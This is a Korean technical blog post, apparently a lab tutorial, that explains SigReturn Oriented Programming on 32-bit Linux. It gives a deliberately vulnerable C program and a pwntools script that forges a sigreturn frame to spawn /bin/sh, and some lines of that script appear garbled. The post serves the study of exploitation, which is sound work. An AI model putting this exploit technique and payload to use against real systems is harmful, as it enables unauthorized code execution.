$bash

'0x0500 : 기술, 분석 문서/0x0501 : System 기술문서'에 해당되는 글 3건

  1. SROP (SigReturn Oriented Programming)
  2. ROP 기술문서 2
  3. ROP 준비 1

SROP (SigReturn Oriented Programming)

0x0500 : 기술, 분석 문서/0x0501 : System 기술문서
SROP(SigReturn Oriented Programming) : SigReturn 이라는 System Call을 이용한 기법
SigReturn System Call : 시그널을 받은 프로세스가 커널 모드에서 유저 모드로 복귀할 때 사용하는 System Call


SROP 란 말 그대로 시그널로 받은 인자값을 넣어 ROP 시키는 과정이다. 이부분에서 대해서는 뭔가 명확 하게 말하기가 그렇다. 결론적으로 SROP 는 ROP가 불가능 하다고 판단했을때, 특정 조건이 성립할 경우 SROP로 대신 exploit 을 진행 할 수 있다.


SROP 공격을 위한 선행 조건

1. OverFlow 취약점

2. EAX 레지스터 (syscall number와 같은 인자값을 받는 reg면 상관없다.) 제어

3. int 0x80 gadget (2번의 syscall number를 처리 할 수 있는 syscall funtion gadget)


위 3조건이 만족하면 SROP가 성립하여 성공 적으로 exploit 을 실행시킬수 있다.


시작하기 앞서 본 내용은 32bit 환경의 기준으로 작성 되었으며, bit 마다 2번 3번 조건이 다르게 사용될 수 있다. 또한 해당되는 실습 환경은 다음과 같다.

32bit Ubuntu 14.04 LTS, Stack Gaurd Off



void int80()

{

    asm("int $0x80"); //역시 예제라서 넣은 것, 없으면 SROP 공격을 못 함

}

 

void main()

{

    char buf[8];

 

    read(0, buf, 128); //Overflow 취약점

}


위 소스코드는 overflow가 일어나는 취약한 함수이다.


main 부분에서 buf[8]가 받지만 read 에서 128Byte 만큼 값을 받기 때문에 overflow가 일어난다. 이것으로 첫번째 조건이 성립 된다. 두번째는 read 함수가 overflow 가 일어나면서 EAX reg를 덮어 쓸수가 있는데 이는 SROP를 위한 syscall number를 사용해주면서 두번째 조건을 성립시켜준다. 세번째는 int 0x80 gadget 은 int80 함수에 asm으로 저장되어 있음으로 세번째 조건이 성립이 된다. 


이론적으로 충분히 검증이 되었다 이제 디버깅을 해보도록 하자.



read 함수에 break point를 걸고 A를 118개를 입력 해주었다.



Stack에 A가 들어 간것을 esp 를 통해 확인 할수 있으며.



info reg를 통해 0x77가 eax 저장이 된것을 확인 할 수가 있다. 0x77번은 sigreturn 함수 호출 number 이다. 이에 대해서는 아래 exploit code를 보기전에 설명 하도록 한다.

다음은 int 0x80을 실행 시켜야 한다. ret되는 부분에 int 0x80 Gadget을 구하여 넣어 주도록 해보자.



성공적으로 Gadget 값을 구하여 넣었음을 확인 할 수 있다.



Eip가 성공적으로 변조가 되었음을 확인하였다.



결과적으로 int 0x80이 실행 되면서 sigreturn이 호출되어 레지스터의 값이 stack에 넣어준 값으로 변경되었음을 확인 할 수 있다.


여기서 exploit code를 살펴 보기전에 sigreturn 함수를 호출하게 되는이에 대한 sigcontext.h 의 구조체는 다음과 같다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
struct sigcontext {
    unsigned short gs, __gsh;
    unsigned short fs, __fsh;
    unsigned short es, __esh;
    unsigned short ds, __dsh;
    unsigned long edi;
    unsigned long esi;
    unsigned long ebp;
    unsigned long esp;
    unsigned long ebx;
    unsigned long edx;
    unsigned long ecx;
    unsigned long eax;
    unsigned long trapno;
    unsigned long err;
    unsigned long eip;
    unsigned short cs, __csh;
    unsigned long eflags;
    unsigned long esp_at_signal;
    unsigned short ss, __ssh;
    struct _fpstate *fpstate;
    unsigned long oldmask;
    unsigned long cr2;
};
 
 
cs

이처럼 어셈으로 인자를 전달해주면 된다.


마지막 최종적으로 exploit code를 생성해 보도록 하자.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
= process("./SROP")
 
syscall = 0x08048420
 
payload  = "A"*20
payload += p(syscall)       #ret
payload += p(0x33)          #GS
payload += p(0)            #FS
payload += p(0x7b)          #ES
payload += p(0x7b)          #DS
payload += p(0)            #EDI
payload += p(0)            #ESI
payload += p(0x08049b00)   #EBP
payload += p(0x08049a00)   #ESP
payload += p(0x0804a020)   #EBX #/bin/sh
                            #문자열이 따로 저장되어 있음
payload += p(0)            #EDX
payload += p(0)            #ECX
payload += p(0x0b)          #EAX #execve system call number(11)
payload += p(0)            #trapno
payload += p(0)            #err
payload += p(syscall)      #EIP
payload += p(0x73)          #CS
payload += p(0x246)         #eflags
payload += p(0)            #esp_atsignal
payload += p(0x7b)          #SS
payload += "\x00"*(118-len(payload))
 
s.sendline(payload)
s.interactive()

cs


: 참고 자료

 SROP.pdf

http://err0rless313.tistory.com/entry/SigReturn-Oriented-Programming-32bit

http://tribal1012.tistory.com/16

ROP 기술문서 2

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

ROP 준비 1

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.